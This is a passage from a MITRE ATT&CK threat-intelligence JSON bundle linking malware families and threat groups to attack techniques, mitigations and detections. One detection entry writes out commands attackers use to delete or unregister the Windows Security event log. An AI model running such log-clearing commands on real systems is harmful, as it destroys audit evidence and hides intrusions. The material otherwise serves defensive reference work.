2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ff6558d-3efb-4219-8d47-ecf82755ccf1","created":"2021-02-10T21:09:24.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Windigo Mar 2014","description":"Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., Léveillé, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo – the vivisection of a large Linux server‑side credential‑stealing malware campaign. Retrieved February 10, 2021.","url":"https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/"},{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T21:44:39.808Z","description":"If credentials are not collected for two weeks, [Ebury](https://attack.mitre.org/software/S0377) encrypts the credentials using a public key and sends them via UDP to an IP address located in the DNS TXT record.(Citation: ESET Windigo Mar 2014)(Citation: ESET Ebury May 2024)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7005793f-b8da-49c5-8985-9d4476c3faaf","type":"relationship","created":"2021-03-05T18:09:35.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."},{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-09-15T18:02:37.809Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used PowerShell [Empire](https://attack.mitre.org/software/S0363) for execution of malware.(Citation: Crowdstrike Indrik November 2018)(Citation: Symantec WastedLocker June 2020) ","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70059c24-ccde-4832-854e-3bcb71c294a9","type":"relationship","created":"2019-09-16T18:01:16.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2019-09-16T18:01:16.034Z","description":"[Orz](https://attack.mitre.org/software/S0229) can gather the victim's Internet Explorer version.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--700e46f0-0c55-4b5b-8f12-d4ead13b03d3","created":"2022-04-15T20:13:40.269Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ferocious](https://attack.mitre.org/software/S0679) has checked for AV software as part of its persistence process.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T20:13:40.269Z","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7014e092-7f05-4f0a-9c6d-f264bf76de7b","created":"2022-12-13T21:02:28.736Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-13T21:02:28.736Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70166ae9-63ec-4d74-be69-ec42a39c239c","type":"relationship","created":"2021-07-02T14:53:09.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:53:09.304Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use tools to collect credentials from web browsers.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7023af7e-91e0-4d7a-852e-ac7299820daa","type":"relationship","created":"2020-07-23T14:20:48.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.635Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493)'s setup file installs initial executables under the folder %WinDir%\\System32\\PluginManager.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--702b125c-993e-468f-8ea9-6862048be772","type":"relationship","created":"2020-05-21T14:55:00.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.295Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used Windows command scripts.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--702c674e-110e-4f6d-9117-be1803d84e88","created":"2022-04-13T19:47:11.398Z","x_mitre_version":"0.1","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) can download malicious files with a .tmp extension and append them with .exe prior to execution.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T19:47:11.398Z","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--702ed555-03e2-4660-82d8-e85d46cbec02","type":"relationship","created":"2020-05-06T21:31:07.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.650Z","description":"[Okrum](https://attack.mitre.org/software/S0439) can collect computer name, locale information, and information about the OS and architecture.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70346bf0-ce5e-46a0-8e0f-dd757afec050","created":"2021-01-07T21:24:17.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.581Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can discover processes on compromised hosts.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--703694f1-755e-4e3f-aff2-f623ec842693","created":"2023-01-05T20:28:43.422Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:28:43.422Z","description":"(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70378c31-da06-4ec0-a8c6-b578dfeafb41","created":"2024-03-27T20:06:22.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:19:59.015Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) deployed [CaddyWiper](https://attack.mitre.org/software/S0693) on the victim’s IT environment systems to wipe files related to the OT capabilities, along with mapped drives, and physical drive partitions.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7037e3b3-33ea-43d6-bfa0-95178066131a","created":"2022-08-02T18:09:20.172Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"\n[QuasarRAT](https://attack.mitre.org/software/S0262) can generate a UAC pop-up Window to prompt the target user to run a command as the administrator.(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T18:09:20.172Z","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7038419d-7138-436c-9486-5a800579a67f","created":"2024-09-23T23:04:59.446Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:04:59.446Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used AES-128 CBC to encrypt C2 communications.(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70386a3a-6ea5-4a2b-9989-2356ee9cf770","type":"relationship","created":"2020-03-19T20:22:29.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.129Z","description":"[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit search order hijacking vulnerabilities.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--703a5971-a542-4d7d-8bf5-7a9adb1db852","type":"relationship","created":"2020-02-12T14:37:27.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-28T16:07:44.900Z","description":"Disable the RDP service if it is unnecessary.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--703ea9d2-9caf-4753-8485-d12a0e9a2817","type":"relationship","created":"2020-02-12T15:22:11.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-07T22:14:25.992Z","description":"Inventory workstations for unauthorized VNC server software.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--704355c5-4743-4fe1-bd64-b7012fe7c1d2","created":"2019-09-24T12:59:58.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos ZxShell Oct 2014","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.","url":"https://blogs.cisco.com/security/talos/opening-zxshell"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.526Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can launch port scans.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70495f42-0a81-485c-8f30-c75af61f1c6a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig Oct 2016","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"}],"modified":"2020-03-16T18:04:34.423Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has exfiltrated data over FTP separately from its primary C2 channel over DNS.(Citation: Palo Alto OilRig Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70580204-2b28-4ffe-bdfc-a1db075ff0eb","created":"2022-04-20T13:02:07.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:26:39.074Z","description":"Monitor for unexpected deletion of Windows event logs (via native binaries) and may also generate an alterable event (Event ID 1102: \"The audit log was cleared\"). When an eventlog is cleared, a new event is created that alerts that the eventlog was cleared. For Security logs, its event code 1100 and 1102. For System logs, it is event code 104.\n\nIt is unlikely that event log data would be cleared during normal operations, and it is likely that malicious attackers may try to cover their tracks by clearing an event log. When an event log gets cleared, it is suspicious. \n\n1. This is often done using wevtutil, a legitimate tool provided by Microsoft. This action interferes with event collection and notification, and may lead to a security event going undetected, thereby potentially leading to further compromise of the network. \n\n2. Alerting when a Clear Event Log is generated could point to this intruder technique. Centrally collecting events has the added benefit of making it much harder for attackers to cover their tracks. Event Forwarding permits sources to forward multiple copies of a collected event to multiple collectors, thus enabling redundant event collection. Using a redundant event collection model can minimize the single point of failure risk. \n\n3. Attackers may set the option of the sources of events with Limit-EventLog -LogName Security -OverflowAction DoNotOverwrite to not delete old Evenlog when the .evtx is full. By default the Security Log size is configured with the minimum value of 20 480KB (~23 000 EventLog). So if this option is enabled, all the new EventLogs will be automatically deleted. We can detect this behavior with the Security EventLog 1104. \n\n4. Attackers may delete .evtx with del C:\\Windows\\System32\\winevt\\logs\\Security.evtx or Remove-Item C:\\Windows\\System32\\winevt\\logs\\Security.evtx after having disabled and stopped the Eventlog service. As the EventLog service is disabled and stopped, the .evtx files are no longer used by this service and can be deleted. The new EventLog will be Unavailable until the configuration is reset. \n\n5. Attackers may use the powershell command Remove-EventLog -LogName Security to unregister source of events that are part of Windows (Application, Security…). This command deletes the security EventLog (which also generates EventId 1102) but the new Eventlogs are still recorded until the system is rebooted . After the System is rebooted, the Security log is unregistered and doesn’t log any new Eventlog. However logs generated between the command and the reboot are still available in the .evtx file.\n\nAnalytic 1 - User Activity from Clearing Event Logs\n\n (source=\"*WinEventLog:Security\" EventCode IN (1100, 1102, 1104)) OR (source=\"*WinEventLog:System\" EventCode IN (104))","relationship_type":"detects","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--705fdfa4-6b23-480c-b31a-eadb41533439","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.021Z","description":"[Comnie](https://attack.mitre.org/software/S0244) executes the netstat -ano command.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--705fe2ec-dbe1-4811-baf5-798f5f874639","created":"2024-02-12T20:33:27.795Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:33:27.795Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used the JAR/ZIP file format for exfiltrated files.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7060e30c-cbb6-4b79-ad52-5e1619e030f0","type":"relationship","created":"2020-05-15T15:04:34.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:32:19.789Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) can sleep when instructed to do so by the C2.(Citation: FOX-IT May 2016 Mofang)\t","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7060f9a3-aeea-41bc-a5bf-549e33334fdd","created":"2024-01-05T20:46:17.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T18:06:20.101Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can create a service at `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost` to trigger execution and maintain persistence.(Citation: Kaspersky ToddyCat June 